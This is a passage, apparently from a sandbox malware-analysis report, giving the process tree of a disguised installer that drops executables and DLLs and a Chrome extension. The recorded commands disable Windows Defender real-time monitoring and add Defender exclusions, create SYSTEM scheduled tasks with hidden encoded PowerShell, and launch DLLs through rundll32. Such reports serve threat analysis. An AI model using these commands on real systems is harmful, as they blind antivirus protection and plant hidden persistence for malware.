2696 2756 cmd.exe 39 PID 2756 wrote to memory of 2696 2756 cmd.exe 39 PID 2756 wrote to memory of 2696 2756 cmd.exe 39 PID 2756 wrote to memory of 2696 2756 cmd.exe 39 PID 3040 wrote to memory of 1720 3040 cmd.exe 40
Processes
-
C:\Users\Admin\AppData\Local\Temp\652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe"C:\Users\Admin\AppData\Local\Temp\652fc19098203fda973551173a63e27ec90be970760f0a029f9ae57e453a3d2c.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Users\Admin\AppData\Local\Temp\7zS6558.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Users\Admin\AppData\Local\Temp\7zS691F.tmp\Install.exe.\Install.exe /vNdide "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:2756 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵PID:2012
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵PID:2696
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
PID:3040 -
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵PID:2732
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵PID:1720
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gVGYQGaPY" /SC once /ST 02:37:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
PID:2588
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gVGYQGaPY"4⤵PID:1708
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gVGYQGaPY"4⤵PID:2252
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "byVqvYMHXaoMZDRgRv" /SC once /ST 04:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\OiMLIRI.exe\" SL /Xrsite_idLfo 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1672
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {A15EF135-CE4E-42BD-AAEB-0DDCEE5949FB} S-1-5-21-2084844033-2744876406-2053742436-1000:GGPVHMXR\Admin:Interactive:[1]1⤵PID:3008
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:544
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2336 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:2332
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:900 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:552
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:692 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:1820
-
-
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:2896
-
C:\Windows\system32\taskeng.exetaskeng.exe {901C7539-0498-4099-A598-1B1EF0C0B554} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2628
-
C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\OiMLIRI.exeC:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK\EKwtKDZvYGGovvt\OiMLIRI.exe SL /Xrsite_idLfo 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1088 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDiWpKAlg" /SC once /ST 00:09:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:2512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gDiWpKAlg"3⤵PID:1356
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gDiWpKAlg"3⤵PID:1880
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵PID:2076
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
PID:1532
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵PID:1664
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
PID:1616
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gVzbLUKHP" /SC once /ST 01:33:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:1828
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gVzbLUKHP"3⤵PID:1644
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gVzbLUKHP"3⤵PID:1948
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:323⤵PID:2492
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:1604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:643⤵PID:2052
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2212
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:323⤵PID:2216
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵PID:2644
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:643⤵PID:2232
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵PID:856
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\nHkJQUniIMPgfrVz\YKMnwCBA\ovrvjlsKCXrMNqJx.wsf"3⤵PID:1900
-
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\nHkJQUniIMPgfrVz\YKMnwCBA\ovrvjlsKCXrMNqJx.wsf"3⤵
- Modifies data under HKEY_USERS
PID:1136 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2592
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2604
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:3040
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2776
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2688
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2672
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2616
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:3012
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:436
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1196
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2540
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1916
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2872
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2104
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:1620
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2532
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:1672
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2184
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:324⤵PID:284
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR" /t REG_DWORD /d 0 /reg:644⤵PID:2240
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:324⤵PID:2880
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cnKtfofVELLNC" /t REG_DWORD /d 0 /reg:644⤵PID:2716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:324⤵PID:1528
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mBUaPyDkTUtU2" /t REG_DWORD /d 0 /reg:644⤵PID:320
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:324⤵PID:1388
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vPdYXglKjKUn" /t REG_DWORD /d 0 /reg:644⤵PID:1096
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:324⤵PID:2316
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaXHhbBRU" /t REG_DWORD /d 0 /reg:644⤵PID:2156
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:324⤵PID:2400
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\ihUYOsbkXmStDhVB" /t REG_DWORD /d 0 /reg:644⤵PID:3036
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵PID:1524
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵PID:924
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:324⤵PID:1060
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\IoDYrcSNLocpvVnFK" /t REG_DWORD /d 0 /reg:644⤵PID:1144
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:324⤵PID:1796
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\nHkJQUniIMPgfrVz" /t REG_DWORD /d 0 /reg:644⤵PID:732
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gRWTVivEE" /SC once /ST 01:23:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:1636
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gRWTVivEE"3⤵PID:2876
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gRWTVivEE"3⤵PID:2484
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵PID:2704
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵PID:2488
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵PID:2204
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵PID:1596
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YdWhrynxKGQiTdtBc" /SC once /ST 01:52:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\eyamQbR.exe\" og /jKsite_idjsF 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "YdWhrynxKGQiTdtBc"3⤵PID:2852
-
-
-
C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\eyamQbR.exeC:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\eyamQbR.exe og /jKsite_idjsF 525403 /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2360 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "byVqvYMHXaoMZDRgRv"3⤵PID:2468
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:1972
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵PID:2592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:2012
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵PID:2724
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xaXHhbBRU\OOfSkN.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NmaEDVxnjLfXRnq" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2580
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NmaEDVxnjLfXRnq2" /F /xml "C:\Program Files (x86)\xaXHhbBRU\CfeStqY.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:2564
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NmaEDVxnjLfXRnq"3⤵PID:956
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NmaEDVxnjLfXRnq"3⤵PID:1364
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hqgMwoyDSsIoWX" /F /xml "C:\Program Files (x86)\mBUaPyDkTUtU2\wamvqbK.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:1648
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RZYQSfteLooPz2" /F /xml "C:\ProgramData\ihUYOsbkXmStDhVB\VHxwWdg.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:604
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ouYyMlgHVVVhUNspw2" /F /xml "C:\Program Files (x86)\MyWyEVaGyEwOczZklbR\HqYHcPo.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:328
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "akaEizNpwrKtYZfeYHH2" /F /xml "C:\Program Files (x86)\cnKtfofVELLNC\vUEDdSu.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:1472
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "fORmCKMRpgzCRPXvW" /SC once /ST 03:53:19 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nHkJQUniIMPgfrVz\mdHvTMAu\eGnOrBD.dll\",#1 /vNsite_idASv 525403" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2192
-
-
